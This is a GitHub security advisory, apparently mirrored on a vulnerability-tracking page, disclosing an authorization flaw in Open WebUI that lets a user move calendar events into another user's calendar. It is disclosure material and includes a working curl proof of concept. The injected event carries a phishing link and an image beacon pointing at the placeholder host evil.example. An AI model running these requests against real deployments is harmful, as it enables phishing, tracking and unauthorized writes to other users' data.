GHSA-F3G7-59QC-PQG6

Vulnerability from github – Published: 2026-06-17 14:09 – Updated: 2026-06-17 14:09
VLAI
Summary
Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar
Details

Summary

POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.

A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.

Details

Sink — missing destination check

backend/open_webui/routers/calendar.py:283-297

@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
    request: Request, event_id: str, form_data: CalendarEventUpdateForm,
    user: UserModel = Depends(get_verified_user)
):
    await check_calendar_permission(request, user)
    event = await CalendarEvents.get_event_by_id(event_id)
    if not event:
        raise HTTPException(status_code=404, detail='Event not found')

    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only

    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id
    ...

backend/open_webui/models/calendar.py:658-693 (update_event_by_id)

update_data = form_data.model_dump(exclude_unset=True)
for field in [
    'calendar_id',          # ← destination persisted with no ACL
    'title', 'description', 'start_at', 'end_at', 'all_day',
    'rrule', 'color', 'location', 'is_cancelled',
]:
    if field in update_data:
        setattr(event, field, update_data[field])

Reference — create_event does check the destination

backend/open_webui/routers/calendar.py:255

await _check_calendar_access(form_data.calendar_id, user, 'write')

Default-config gates (both True)

  • backend/open_webui/config.py:1658-1662ENABLE_CALENDAR defaults 'True'
  • backend/open_webui/config.py:1554USER_PERMISSIONS_FEATURES_CALENDAR defaults 'True'
  • backend/open_webui/main.py:1457 — router mounted unconditionally

PoC

Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.

1. Environment

git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d        # http://localhost:3000

Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.

2. Obtain the victim's calendar_id

Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:

  • Read-only share — victim (or a group admin) grants the attacker read on a calendar; the ID is returned by GET /api/v1/calendars/.
  • Event invitation — victim adds the attacker as an attendee on any event; the event payload (CalendarEventModel, models/calendar.py:127) includes calendar_id.
  • Any side-channel (logs, screenshots, browser history).

For reproduction the maintainer can simply read it as the victim:

VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Control — direct create is correctly blocked

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403

4. Exploit — create-then-reparent

ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"

5. Verification from victim's session

curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool

Observed output (truncated):

[{
  "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
  "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
  "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
  "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
  "description": "Session expired.",
  ...
}]

The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.

Impact

  • Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write.
  • Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and <img> beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.
  • Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:09:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`POST /api/v1/calendars/events/{event_id}/update` validates that the caller has **write** access to the calendar the event *currently* belongs to, but does not validate the **destination** `calendar_id` supplied in the request body. The model layer then persists the new `calendar_id` unconditionally.\n\nA regular `user`-role account can therefore create an event in their own calendar and immediately move it into any other user\u0027s calendar whose ID they know \u2014 bypassing the authorization check that `create_event` correctly performs. This is reachable on **default configuration**: `ENABLE_CALENDAR` and `USER_PERMISSIONS_FEATURES_CALENDAR` both default to `True`.\n\n\n### Details\n### Sink \u2014 missing destination check\n\n`backend/open_webui/routers/calendar.py:283-297`\n\n```python\n@router.post(\u0027/events/{event_id}/update\u0027, response_model=CalendarEventModel)\nasync def update_event(\n    request: Request, event_id: str, form_data: CalendarEventUpdateForm,\n    user: UserModel = Depends(get_verified_user)\n):\n    await check_calendar_permission(request, user)\n    event = await CalendarEvents.get_event_by_id(event_id)\n    if not event:\n        raise HTTPException(status_code=404, detail=\u0027Event not found\u0027)\n\n    await _check_calendar_access(event.calendar_id, user, \u0027write\u0027)   # \u2190 SOURCE only\n\n    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # \u2190 writes form_data.calendar_id\n    ...\n```\n\n`backend/open_webui/models/calendar.py:658-693` (`update_event_by_id`)\n\n```python\nupdate_data = form_data.model_dump(exclude_unset=True)\nfor field in [\n    \u0027calendar_id\u0027,          # \u2190 destination persisted with no ACL\n    \u0027title\u0027, \u0027description\u0027, \u0027start_at\u0027, \u0027end_at\u0027, \u0027all_day\u0027,\n    \u0027rrule\u0027, \u0027color\u0027, \u0027location\u0027, \u0027is_cancelled\u0027,\n]:\n    if field in update_data:\n        setattr(event, field, update_data[field])\n```\n\n### Reference \u2014 `create_event` does check the destination\n\n`backend/open_webui/routers/calendar.py:255`\n\n```python\nawait _check_calendar_access(form_data.calendar_id, user, \u0027write\u0027)\n```\n\n### Default-config gates (both `True`)\n\n- `backend/open_webui/config.py:1658-1662` \u2014 `ENABLE_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/config.py:1554` \u2014 `USER_PERMISSIONS_FEATURES_CALENDAR` defaults `\u0027True\u0027`\n- `backend/open_webui/main.py:1457` \u2014 router mounted unconditionally\n\n\n### PoC\nVerified end-to-end against the official `ghcr.io/open-webui/open-webui:main` (v0.9.4) Docker image with two fresh `user`-role accounts.\n\n#### 1. Environment\n\n```bash\ngit clone https://github.com/open-webui/open-webui.git\ncd open-webui \u0026\u0026 docker compose up -d        # http://localhost:3000\n```\n\nCreate the first account (admin), then via admin UI / `POST /api/v1/auths/add` create two `user`-role accounts: **attacker** and **victim**. Sign each in and capture their JWTs as `$ATTACKER_TOKEN` / `$VICTIM_TOKEN`.\n\n#### 2. Obtain the victim\u0027s `calendar_id`\n\nCalendar IDs are UUIDv4 (`models/calendar.py:316`) and not enumerable. In practice an attacker obtains one via:\n\n- **Read-only share** \u2014 victim (or a group admin) grants the attacker `read` on a calendar; the ID is returned by `GET /api/v1/calendars/`.\n- **Event invitation** \u2014 victim adds the attacker as an attendee on any event; the event payload (`CalendarEventModel`, `models/calendar.py:127`) includes `calendar_id`.\n- Any side-channel (logs, screenshots, browser history).\n\nFor reproduction the maintainer can simply read it as the victim:\n\n```bash\nVICTIM_CALENDAR_ID=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n```\n\n#### 3. Control \u2014 direct create is correctly blocked\n\n```bash\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 \\\n  -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\",\\\"title\\\":\\\"x\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\"\n# \u2192 403\n```\n\n#### 4. Exploit \u2014 create-then-reparent\n\n```bash\nATTACKER_CAL=$(curl -s \"$OPENWEBUI/api/v1/calendars/\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[0][\"id\"])\u0027)\n\n# 1. create in own calendar\nEVENT_ID=$(curl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/create\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$ATTACKER_CAL\\\",\\\"title\\\":\\\"[INJECTED] Mandatory re-auth: https://evil.example/login\\\",\\\"description\\\":\\\"Session expired.\\\",\\\"location\\\":\\\"\u003cimg src=https://evil.example/beacon.png\u003e\\\",\\\"start_at\\\":1778400000000000000,\\\"end_at\\\":1778403600000000000}\" \\\n  | python3 -c \u0027import sys,json;print(json.load(sys.stdin)[\"id\"])\u0027)\n\n# 2. move into victim\u0027s calendar \u2014 NO destination check\ncurl -s -X POST \"$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"calendar_id\\\":\\\"$VICTIM_CALENDAR_ID\\\"}\"\n# \u2192 200, response shows \"calendar_id\":\"\u003cVICTIM_CALENDAR_ID\u003e\"\n```\n\n#### 5. Verification from victim\u0027s session\n\n```bash\ncurl -s \"$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00\u0026end=2026-06-01T00:00:00\" \\\n  -H \"Authorization: Bearer $VICTIM_TOKEN\" | python3 -m json.tool\n```\n\nObserved output (truncated):\n\n```json\n[{\n  \"id\": \"1662c982-adb1-43d6-a9c8-0103fa1299c0\",\n  \"calendar_id\": \"0b755ea7-4ff4-4a60-9cff-8961e69c75bb\",\n  \"user_id\": \"7554dd33-e220-44cb-8441-169c55eef4f5\",\n  \"title\": \"[INJECTED] Mandatory re-auth: https://evil.example/login\",\n  \"description\": \"Session expired.\",\n  ...\n}]\n```\n\nThe injected event now lives in the victim\u0027s default calendar. A subsequent `GET /events/{id}` as the **attacker** returns **403** \u2014 confirming the move succeeded and the attacker has no legitimate access to the destination.\n\n\n### Impact\n- **Read-only \u2192 write escalation** on shared calendars: a user granted `read` via `AccessGrants` can effectively write.\n- **Phishing / social engineering**: events appear inside the victim\u0027s own private calendar (not as an external invite). The hover tooltip (`CalendarEventChip.svelte:12 \u2192 common/Tooltip.svelte`) renders `title`/`location` as DOMPurify-sanitised HTML with `allowHTML=true`, so an attacker can embed formatted links and `\u003cimg\u003e` beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.\n- **Calendar spam / DoS**: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).",
  "id": "GHSA-f3g7-59qc-pqg6",
  "modified": "2026-06-17T14:09:53Z",
  "published": "2026-06-17T14:09:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f3g7-59qc-pqg6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI IDOR: Calendar event re-parenting allows writing events into another user\u0027s calendar"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…